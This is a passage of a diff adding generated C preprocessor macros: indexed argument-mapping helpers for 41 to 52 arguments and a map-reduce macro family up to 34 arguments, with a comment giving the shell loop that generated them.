+#define M_MAP3I_41(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41) f(d, 1, _1) f(d, 2, _2) f(d, 3, _3) f(d, 4, _4) f(d, 5, _5) f(d, 6, _6) f(d, 7, _7) f(d, 8, _8) f(d, 9, _9) f(d, 10, _10) f(d, 11, _11) f(d, 12, _12) f(d, 13, _13) f(d, 14, _14) f(d, 15, _15) f(d, 16, _16) f(d, 17, _17) f(d, 18, _18) f(d, 19, _19) f(d, 20, _20) f(d, 21, _21) f(d, 22, _22) f(d, 23, _23) f(d, 24, _24) f(d, 25, _25) f(d, 26, _26) f(d, 27, _27) f(d, 28, _28) f(d, 29, _29) f(d, 30, _30) f(d, 31, _31) f(d, 32, _32) f(d, 33, _33) f(d, 34, _34) f(d, 35, _35) f(d, 36, _36) f(d, 37, _37) f(d, 38, _38) f(d, 39, _39) f(d, 40, _40) f(d, 41, _41) 
+#define M_MAP3I_42(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42) f(d, 1, _1) f(d, 2, _2) f(d, 3, _3) f(d, 4, _4) f(d, 5, _5) f(d, 6, _6) f(d, 7, _7) f(d, 8, _8) f(d, 9, _9) f(d, 10, _10) f(d, 11, _11) f(d, 12, _12) f(d, 13, _13) f(d, 14, _14) f(d, 15, _15) f(d, 16, _16) f(d, 17, _17) f(d, 18, _18) f(d, 19, _19) f(d, 20, _20) f(d, 21, _21) f(d, 22, _22) f(d, 23, _23) f(d, 24, _24) f(d, 25, _25) f(d, 26, _26) f(d, 27, _27) f(d, 28, _28) f(d, 29, _29) f(d, 30, _30) f(d, 31, _31) f(d, 32, _32) f(d, 33, _33) f(d, 34, _34) f(d, 35, _35) f(d, 36, _36) f(d, 37, _37) f(d, 38, _38) f(d, 39, _39) f(d, 40, _40) f(d, 41, _41) f(d, 42, _42) 
+#define M_MAP3I_43(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43) f(d, 1, _1) f(d, 2, _2) f(d, 3, _3) f(d, 4, _4) f(d, 5, _5) f(d, 6, _6) f(d, 7, _7) f(d, 8, _8) f(d, 9, _9) f(d, 10, _10) f(d, 11, _11) f(d, 12, _12) f(d, 13, _13) f(d, 14, _14) f(d, 15, _15) f(d, 16, _16) f(d, 17, _17) f(d, 18, _18) f(d, 19, _19) f(d, 20, _20) f(d, 21, _21) f(d, 22, _22) f(d, 23, _23) f(d, 24, _24) f(d, 25, _25) f(d, 26, _26) f(d, 27, _27) f(d, 28, _28) f(d, 29, _29) f(d, 30, _30) f(d, 31, _31) f(d, 32, _32) f(d, 33, _33) f(d, 34, _34) f(d, 35, _35) f(d, 36, _36) f(d, 37, _37) f(d, 38, _38) f(d, 39, _39) f(d, 40, _40) f(d, 41, _41) f(d, 42, _42) f(d, 43, _43) 
+#define M_MAP3I_44(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44) f(d, 1, _1) f(d, 2, _2) f(d, 3, _3) f(d, 4, _4) f(d, 5, _5) f(d, 6, _6) f(d, 7, _7) f(d, 8, _8) f(d, 9, _9) f(d, 10, _10) f(d, 11, _11) f(d, 12, _12) f(d, 13, _13) f(d, 14, _14) f(d, 15, _15) f(d, 16, _16) f(d, 17, _17) f(d, 18, _18) f(d, 19, _19) f(d, 20, _20) f(d, 21, _21) f(d, 22, _22) f(d, 23, _23) f(d, 24, _24) f(d, 25, _25) f(d, 26, _26) f(d, 27, _27) f(d, 28, _28) f(d, 29, _29) f(d, 30, _30) f(d, 31, _31) f(d, 32, _32) f(d, 33, _33) f(d, 34, _34) f(d, 35, _35) f(d, 36, _36) f(d, 37, _37) f(d, 38, _38) f(d, 39, _39) f(d, 40, _40) f(d, 41, _41) f(d, 42, _42) f(d, 43, _43) f(d, 44, _44) 
+#define M_MAP3I_45(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45) f(d, 1, _1) f(d, 2, _2) f(d, 3, _3) f(d, 4, _4) f(d, 5, _5) f(d, 6, _6) f(d, 7, _7) f(d, 8, _8) f(d, 9, _9) f(d, 10, _10) f(d, 11, _11) f(d, 12, _12) f(d, 13, _13) f(d, 14, _14) f(d, 15, _15) f(d, 16, _16) f(d, 17, _17) f(d, 18, _18) f(d, 19, _19) f(d, 20, _20) f(d, 21, _21) f(d, 22, _22) f(d, 23, _23) f(d, 24, _24) f(d, 25, _25) f(d, 26, _26) f(d, 27, _27) f(d, 28, _28) f(d, 29, _29) f(d, 30, _30) f(d, 31, _31) f(d, 32, _32) f(d, 33, _33) f(d, 34, _34) f(d, 35, _35) f(d, 36, _36) f(d, 37, _37) f(d, 38, _38) f(d, 39, _39) f(d, 40, _40) f(d, 41, _41) f(d, 42, _42) f(d, 43, _43) f(d, 44, _44) f(d, 45, _45) 
+#define M_MAP3I_46(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46) f(d, 1, _1) f(d, 2, _2) f(d, 3, _3) f(d, 4, _4) f(d, 5, _5) f(d, 6, _6) f(d, 7, _7) f(d, 8, _8) f(d, 9, _9) f(d, 10, _10) f(d, 11, _11) f(d, 12, _12) f(d, 13, _13) f(d, 14, _14) f(d, 15, _15) f(d, 16, _16) f(d, 17, _17) f(d, 18, _18) f(d, 19, _19) f(d, 20, _20) f(d, 21, _21) f(d, 22, _22) f(d, 23, _23) f(d, 24, _24) f(d, 25, _25) f(d, 26, _26) f(d, 27, _27) f(d, 28, _28) f(d, 29, _29) f(d, 30, _30) f(d, 31, _31) f(d, 32, _32) f(d, 33, _33) f(d, 34, _34) f(d, 35, _35) f(d, 36, _36) f(d, 37, _37) f(d, 38, _38) f(d, 39, _39) f(d, 40, _40) f(d, 41, _41) f(d, 42, _42) f(d, 43, _43) f(d, 44, _44) f(d, 45, _45) f(d, 46, _46) 
+#define M_MAP3I_47(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47) f(d, 1, _1) f(d, 2, _2) f(d, 3, _3) f(d, 4, _4) f(d, 5, _5) f(d, 6, _6) f(d, 7, _7) f(d, 8, _8) f(d, 9, _9) f(d, 10, _10) f(d, 11, _11) f(d, 12, _12) f(d, 13, _13) f(d, 14, _14) f(d, 15, _15) f(d, 16, _16) f(d, 17, _17) f(d, 18, _18) f(d, 19, _19) f(d, 20, _20) f(d, 21, _21) f(d, 22, _22) f(d, 23, _23) f(d, 24, _24) f(d, 25, _25) f(d, 26, _26) f(d, 27, _27) f(d, 28, _28) f(d, 29, _29) f(d, 30, _30) f(d, 31, _31) f(d, 32, _32) f(d, 33, _33) f(d, 34, _34) f(d, 35, _35) f(d, 36, _36) f(d, 37, _37) f(d, 38, _38) f(d, 39, _39) f(d, 40, _40) f(d, 41, _41) f(d, 42, _42) f(d, 43, _43) f(d, 44, _44) f(d, 45, _45) f(d, 46, _46) f(d, 47, _47) 
+#define M_MAP3I_48(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48) f(d, 1, _1) f(d, 2, _2) f(d, 3, _3) f(d, 4, _4) f(d, 5, _5) f(d, 6, _6) f(d, 7, _7) f(d, 8, _8) f(d, 9, _9) f(d, 10, _10) f(d, 11, _11) f(d, 12, _12) f(d, 13, _13) f(d, 14, _14) f(d, 15, _15) f(d, 16, _16) f(d, 17, _17) f(d, 18, _18) f(d, 19, _19) f(d, 20, _20) f(d, 21, _21) f(d, 22, _22) f(d, 23, _23) f(d, 24, _24) f(d, 25, _25) f(d, 26, _26) f(d, 27, _27) f(d, 28, _28) f(d, 29, _29) f(d, 30, _30) f(d, 31, _31) f(d, 32, _32) f(d, 33, _33) f(d, 34, _34) f(d, 35, _35) f(d, 36, _36) f(d, 37, _37) f(d, 38, _38) f(d, 39, _39) f(d, 40, _40) f(d, 41, _41) f(d, 42, _42) f(d, 43, _43) f(d, 44, _44) f(d, 45, _45) f(d, 46, _46) f(d, 47, _47) f(d, 48, _48) 
+#define M_MAP3I_49(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48, _49) f(d, 1, _1) f(d, 2, _2) f(d, 3, _3) f(d, 4, _4) f(d, 5, _5) f(d, 6, _6) f(d, 7, _7) f(d, 8, _8) f(d, 9, _9) f(d, 10, _10) f(d, 11, _11) f(d, 12, _12) f(d, 13, _13) f(d, 14, _14) f(d, 15, _15) f(d, 16, _16) f(d, 17, _17) f(d, 18, _18) f(d, 19, _19) f(d, 20, _20) f(d, 21, _21) f(d, 22, _22) f(d, 23, _23) f(d, 24, _24) f(d, 25, _25) f(d, 26, _26) f(d, 27, _27) f(d, 28, _28) f(d, 29, _29) f(d, 30, _30) f(d, 31, _31) f(d, 32, _32) f(d, 33, _33) f(d, 34, _34) f(d, 35, _35) f(d, 36, _36) f(d, 37, _37) f(d, 38, _38) f(d, 39, _39) f(d, 40, _40) f(d, 41, _41) f(d, 42, _42) f(d, 43, _43) f(d, 44, _44) f(d, 45, _45) f(d, 46, _46) f(d, 47, _47) f(d, 48, _48) f(d, 49, _49) 
+#define M_MAP3I_50(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48, _49, _50) f(d, 1, _1) f(d, 2, _2) f(d, 3, _3) f(d, 4, _4) f(d, 5, _5) f(d, 6, _6) f(d, 7, _7) f(d, 8, _8) f(d, 9, _9) f(d, 10, _10) f(d, 11, _11) f(d, 12, _12) f(d, 13, _13) f(d, 14, _14) f(d, 15, _15) f(d, 16, _16) f(d, 17, _17) f(d, 18, _18) f(d, 19, _19) f(d, 20, _20) f(d, 21, _21) f(d, 22, _22) f(d, 23, _23) f(d, 24, _24) f(d, 25, _25) f(d, 26, _26) f(d, 27, _27) f(d, 28, _28) f(d, 29, _29) f(d, 30, _30) f(d, 31, _31) f(d, 32, _32) f(d, 33, _33) f(d, 34, _34) f(d, 35, _35) f(d, 36, _36) f(d, 37, _37) f(d, 38, _38) f(d, 39, _39) f(d, 40, _40) f(d, 41, _41) f(d, 42, _42) f(d, 43, _43) f(d, 44, _44) f(d, 45, _45) f(d, 46, _46) f(d, 47, _47) f(d, 48, _48) f(d, 49, _49) f(d, 50, _50) 
+#define M_MAP3I_51(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48, _49, _50, _51) f(d, 1, _1) f(d, 2, _2) f(d, 3, _3) f(d, 4, _4) f(d, 5, _5) f(d, 6, _6) f(d, 7, _7) f(d, 8, _8) f(d, 9, _9) f(d, 10, _10) f(d, 11, _11) f(d, 12, _12) f(d, 13, _13) f(d, 14, _14) f(d, 15, _15) f(d, 16, _16) f(d, 17, _17) f(d, 18, _18) f(d, 19, _19) f(d, 20, _20) f(d, 21, _21) f(d, 22, _22) f(d, 23, _23) f(d, 24, _24) f(d, 25, _25) f(d, 26, _26) f(d, 27, _27) f(d, 28, _28) f(d, 29, _29) f(d, 30, _30) f(d, 31, _31) f(d, 32, _32) f(d, 33, _33) f(d, 34, _34) f(d, 35, _35) f(d, 36, _36) f(d, 37, _37) f(d, 38, _38) f(d, 39, _39) f(d, 40, _40) f(d, 41, _41) f(d, 42, _42) f(d, 43, _43) f(d, 44, _44) f(d, 45, _45) f(d, 46, _46) f(d, 47, _47) f(d, 48, _48) f(d, 49, _49) f(d, 50, _50) f(d, 51, _51) 
+#define M_MAP3I_52(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48, _49, _50, _51, _52) f(d, 1, _1) f(d, 2, _2) f(d, 3, _3) f(d, 4, _4) f(d, 5, _5) f(d, 6, _6) f(d, 7, _7) f(d, 8, _8) f(d, 9, _9) f(d, 10, _10) f(d, 11, _11) f(d, 12, _12) f(d, 13, _13) f(d, 14, _14) f(d, 15, _15) f(d, 16, _16) f(d, 17, _17) f(d, 18, _18) f(d, 19, _19) f(d, 20, _20) f(d, 21, _21) f(d, 22, _22) f(d, 23, _23) f(d, 24, _24) f(d, 25, _25) f(d, 26, _26) f(d, 27, _27) f(d, 28, _28) f(d, 29, _29) f(d, 30, _30) f(d, 31, _31) f(d, 32, _32) f(d, 33, _33) f(d, 34, _34) f(d, 35, _35) f(d, 36, _36) f(d, 37, _37) f(d, 38, _38) f(d, 39, _39) f(d, 40, _40) f(d, 41, _41) f(d, 42, _42) f(d, 43, _43) f(d, 44, _44) f(d, 45, _45) f(d, 46, _46) f(d, 47, _47) f(d, 48, _48) f(d, 49, _49) f(d, 50, _50) f(d, 51, _51) f(d, 52, _52) 
+
+
+/* Map a macro to all given arguments and reduce all theses computation
+   with another reduce macro.
+   Example:
+    M_REDUCE(f, g, a, b, c) ==> g( f(a), g( f(b), f(c))
+   Generated by:
+    for i in $(seq 1 52) ; do printf "#define M_REDUCEI1_%d(f, g" $i ; for j in $(seq 1 $i) ; do printf ", _%d" $j ; done ; printf ") "; for j in $(seq 1 $(( $i - 1 )) ) ; do printf "g(f(_%d), " $j; done ; printf "f(_%d" $i; for j in $(seq 1 $i); do printf ")"; done ; printf "\n";  done
+*/
+#define M_REDUCE(...)                     M_REDUCEI1_0(__VA_ARGS__)
+#define M_REDUCEI1_0(f, g, ...)           M_C(M_REDUCEI1_, M_NARGS(__VA_ARGS__))(f, g, __VA_ARGS__)
+#define M_REDUCEI1_1(f, g, _1) f(_1)
+#define M_REDUCEI1_2(f, g, _1, _2) g(f(_1), f(_2))
+#define M_REDUCEI1_3(f, g, _1, _2, _3) g(f(_1), g(f(_2), f(_3)))
+#define M_REDUCEI1_4(f, g, _1, _2, _3, _4) g(f(_1), g(f(_2), g(f(_3), f(_4))))
+#define M_REDUCEI1_5(f, g, _1, _2, _3, _4, _5) g(f(_1), g(f(_2), g(f(_3), g(f(_4), f(_5)))))
+#define M_REDUCEI1_6(f, g, _1, _2, _3, _4, _5, _6) g(f(_1), g(f(_2), g(f(_3), g(f(_4), g(f(_5), f(_6))))))
+#define M_REDUCEI1_7(f, g, _1, _2, _3, _4, _5, _6, _7) g(f(_1), g(f(_2), g(f(_3), g(f(_4), g(f(_5), g(f(_6), f(_7)))))))
+#define M_REDUCEI1_8(f, g, _1, _2, _3, _4, _5, _6, _7, _8) g(f(_1), g(f(_2), g(f(_3), g(f(_4), g(f(_5), g(f(_6), g(f(_7), f(_8))))))))
+#define M_REDUCEI1_9(f, g, _1, _2, _3, _4, _5, _6, _7, _8, _9) g(f(_1), g(f(_2), g(f(_3), g(f(_4), g(f(_5), g(f(_6), g(f(_7), g(f(_8), f(_9)))))))))
+#define M_REDUCEI1_10(f, g, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10) g(f(_1), g(f(_2), g(f(_3), g(f(_4), g(f(_5), g(f(_6), g(f(_7), g(f(_8), g(f(_9), f(_10))))))))))
+#define M_REDUCEI1_11(f, g, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11) g(f(_1), g(f(_2), g(f(_3), g(f(_4), g(f(_5), g(f(_6), g(f(_7), g(f(_8), g(f(_9), g(f(_10), f(_11)))))))))))
+#define M_REDUCEI1_12(f, g, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12) g(f(_1), g(f(_2), g(f(_3), g(f(_4), g(f(_5), g(f(_6), g(f(_7), g(f(_8), g(f(_9), g(f(_10), g(f(_11), f(_12))))))))))))
+#define M_REDUCEI1_13(f, g, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13) g(f(_1), g(f(_2), g(f(_3), g(f(_4), g(f(_5), g(f(_6), g(f(_7), g(f(_8), g(f(_9), g(f(_10), g(f(_11), g(f(_12), f(_13)))))))))))))
+#define M_REDUCEI1_14(f, g, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14) g(f(_1), g(f(_2), g(f(_3), g(f(_4), g(f(_5), g(f(_6), g(f(_7), g(f(_8), g(f(_9), g(f(_10), g(f(_11), g(f(_12), g(f(_13), f(_14))))))))))))))
+#define M_REDUCEI1_15(f, g, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15) g(f(_1), g(f(_2), g(f(_3), g(f(_4), g(f(_5), g(f(_6), g(f(_7), g(f(_8), g(f(_9), g(f(_10), g(f(_11), g(f(_12), g(f(_13), g(f(_14), f(_15)))))))))))))))
+#define M_REDUCEI1_16(f, g, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16) g(f(_1), g(f(_2), g(f(_3), g(f(_4), g(f(_5), g(f(_6), g(f(_7), g(f(_8), g(f(_9), g(f(_10), g(f(_11), g(f(_12), g(f(_13), g(f(_14), g(f(_15), f(_16))))))))))))))))
+#define M_REDUCEI1_17(f, g, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17) g(f(_1), g(f(_2), g(f(_3), g(f(_4), g(f(_5), g(f(_6), g(f(_7), g(f(_8), g(f(_9), g(f(_10), g(f(_11), g(f(_12), g(f(_13), g(f(_14), g(f(_15), g(f(_16), f(_17)))))))))))))))))
+#define M_REDUCEI1_18(f, g, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18) g(f(_1), g(f(_2), g(f(_3), g(f(_4), g(f(_5), g(f(_6), g(f(_7), g(f(_8), g(f(_9), g(f(_10), g(f(_11), g(f(_12), g(f(_13), g(f(_14), g(f(_15), g(f(_16), g(f(_17), f(_18))))))))))))))))))
+#define M_REDUCEI1_19(f, g, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19) g(f(_1), g(f(_2), g(f(_3), g(f(_4), g(f(_5), g(f(_6), g(f(_7), g(f(_8), g(f(_9), g(f(_10), g(f(_11), g(f(_12), g(f(_13), g(f(_14), g(f(_15), g(f(_16), g(f(_17), g(f(_18), f(_19)))))))))))))))))))
+#define M_REDUCEI1_20(f, g, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20) g(f(_1), g(f(_2), g(f(_3), g(f(_4), g(f(_5), g(f(_6), g(f(_7), g(f(_8), g(f(_9), g(f(_10), g(f(_11), g(f(_12), g(f(_13), g(f(_14), g(f(_15), g(f(_16), g(f(_17), g(f(_18), g(f(_19), f(_20))))))))))))))))))))
+#define M_REDUCEI1_21(f, g, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21) g(f(_1), g(f(_2), g(f(_3), g(f(_4), g(f(_5), g(f(_6), g(f(_7), g(f(_8), g(f(_9), g(f(_10), g(f(_11), g(f(_12), g(f(_13), g(f(_14), g(f(_15), g(f(_16), g(f(_17), g(f(_18), g(f(_19), g(f(_20), f(_21)))))))))))))))))))))
+#define M_REDUCEI1_22(f, g, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22) g(f(_1), g(f(_2), g(f(_3), g(f(_4), g(f(_5), g(f(_6), g(f(_7), g(f(_8), g(f(_9), g(f(_10), g(f(_11), g(f(_12), g(f(_13), g(f(_14), g(f(_15), g(f(_16), g(f(_17), g(f(_18), g(f(_19), g(f(_20), g(f(_21), f(_22))))))))))))))))))))))
+#define M_REDUCEI1_23(f, g, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23) g(f(_1), g(f(_2), g(f(_3), g(f(_4), g(f(_5), g(f(_6), g(f(_7), g(f(_8), g(f(_9), g(f(_10), g(f(_11), g(f(_12), g(f(_13), g(f(_14), g(f(_15), g(f(_16), g(f(_17), g(f(_18), g(f(_19), g(f(_20), g(f(_21), g(f(_22), f(_23)))))))))))))))))))))))
+#define M_REDUCEI1_24(f, g, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24) g(f(_1), g(f(_2), g(f(_3), g(f(_4), g(f(_5), g(f(_6), g(f(_7), g(f(_8), g(f(_9), g(f(_10), g(f(_11), g(f(_12), g(f(_13), g(f(_14), g(f(_15), g(f(_16), g(f(_17), g(f(_18), g(f(_19), g(f(_20), g(f(_21), g(f(_22), g(f(_23), f(_24))))))))))))))))))))))))
+#define M_REDUCEI1_25(f, g, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25) g(f(_1), g(f(_2), g(f(_3), g(f(_4), g(f(_5), g(f(_6), g(f(_7), g(f(_8), g(f(_9), g(f(_10), g(f(_11), g(f(_12), g(f(_13), g(f(_14), g(f(_15), g(f(_16), g(f(_17), g(f(_18), g(f(_19), g(f(_20), g(f(_21), g(f(_22), g(f(_23), g(f(_24), f(_25)))))))))))))))))))))))))
+#define M_REDUCEI1_26(f, g, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26) g(f(_1), g(f(_2), g(f(_3), g(f(_4), g(f(_5), g(f(_6), g(f(_7), g(f(_8), g(f(_9), g(f(_10), g(f(_11), g(f(_12), g(f(_13), g(f(_14), g(f(_15), g(f(_16), g(f(_17), g(f(_18), g(f(_19), g(f(_20), g(f(_21), g(f(_22), g(f(_23), g(f(_24), g(f(_25), f(_26))))))))))))))))))))))))))
+#define M_REDUCEI1_27(f, g, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27) g(f(_1), g(f(_2), g(f(_3), g(f(_4), g(f(_5), g(f(_6), g(f(_7), g(f(_8), g(f(_9), g(f(_10), g(f(_11), g(f(_12), g(f(_13), g(f(_14), g(f(_15), g(f(_16), g(f(_17), g(f(_18), g(f(_19), g(f(_20), g(f(_21), g(f(_22), g(f(_23), g(f(_24), g(f(_25), g(f(_26), f(_27)))))))))))))))))))))))))))
+#define M_REDUCEI1_28(f, g, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28) g(f(_1), g(f(_2), g(f(_3), g(f(_4), g(f(_5), g(f(_6), g(f(_7), g(f(_8), g(f(_9), g(f(_10), g(f(_11), g(f(_12), g(f(_13), g(f(_14), g(f(_15), g(f(_16), g(f(_17), g(f(_18), g(f(_19), g(f(_20), g(f(_21), g(f(_22), g(f(_23), g(f(_24), g(f(_25), g(f(_26), g(f(_27), f(_28))))))))))))))))))))))))))))
+#define M_REDUCEI1_29(f, g, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29) g(f(_1), g(f(_2), g(f(_3), g(f(_4), g(f(_5), g(f(_6), g(f(_7), g(f(_8), g(f(_9), g(f(_10), g(f(_11), g(f(_12), g(f(_13), g(f(_14), g(f(_15), g(f(_16), g(f(_17), g(f(_18), g(f(_19), g(f(_20), g(f(_21), g(f(_22), g(f(_23), g(f(_24), g(f(_25), g(f(_26), g(f(_27), g(f(_28), f(_29)))))))))))))))))))))))))))))
+#define M_REDUCEI1_30(f, g, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30) g(f(_1), g(f(_2), g(f(_3), g(f(_4), g(f(_5), g(f(_6), g(f(_7), g(f(_8), g(f(_9), g(f(_10), g(f(_11), g(f(_12), g(f(_13), g(f(_14), g(f(_15), g(f(_16), g(f(_17), g(f(_18), g(f(_19), g(f(_20), g(f(_21), g(f(_22), g(f(_23), g(f(_24), g(f(_25), g(f(_26), g(f(_27), g(f(_28), g(f(_29), f(_30))))))))))))))))))))))))))))))
+#define M_REDUCEI1_31(f, g, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31) g(f(_1), g(f(_2), g(f(_3), g(f(_4), g(f(_5), g(f(_6), g(f(_7), g(f(_8), g(f(_9), g(f(_10), g(f(_11), g(f(_12), g(f(_13), g(f(_14), g(f(_15), g(f(_16), g(f(_17), g(f(_18), g(f(_19), g(f(_20), g(f(_21), g(f(_22), g(f(_23), g(f(_24), g(f(_25), g(f(_26), g(f(_27), g(f(_28), g(f(_29), g(f(_30), f(_31)))))))))))))))))))))))))))))))
+#define M_REDUCEI1_32(f, g, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32) g(f(_1), g(f(_2), g(f(_3), g(f(_4), g(f(_5), g(f(_6), g(f(_7), g(f(_8), g(f(_9), g(f(_10), g(f(_11), g(f(_12), g(f(_13), g(f(_14), g(f(_15), g(f(_16), g(f(_17), g(f(_18), g(f(_19), g(f(_20), g(f(_21), g(f(_22), g(f(_23), g(f(_24), g(f(_25), g(f(_26), g(f(_27), g(f(_28), g(f(_29), g(f(_30), g(f(_31), f(_32))))))))))))))))))))))))))))))))
+#define M_REDUCEI1_33(f, g, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33) g(f(_1), g(f(_2), g(f(_3), g(f(_4), g(f(_5), g(f(_6), g(f(_7), g(f(_8), g(f(_9), g(f(_10), g(f(_11), g(f(_12), g(f(_13), g(f(_14), g(f(_15), g(f(_16), g(f(_17), g(f(_18), g(f(_19), g(f(_20), g(f(_21), g(f(_22), g(f(_23), g(f(_24), g(f(_25), g(f(_26), g(f(_27), g(f(_28), g(f(_29), g(f(_30), g(f(_31), g(f(_32), f(_33)))))))))))))))))))))))))))))))))
+#define M_REDUCEI1_34(f, g, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34) g(f(_1), g(f(_2), g(f(_3), g(f(_4), g(f(_5), g(f(_6), g(f(_7), g(f(_8), g(f(_9), g(f(_10), g(f(_11), g(f(_12), g(f(_13), g(f(_14), g(f(_15), g(f(_16), g(f(_17), g(f(_18), g(f(_19), g(f(_20), g(f(_21), g(f(_22), g(f(_23), g(f(_24), g(f(_25), g(f(_26), g(f(_27), g(f(_28), g(f(_29), g(f(_30), g(f(_31), g(f(_32), g(f(_33), f(_34))))))))))))))))))))))))))))))))))
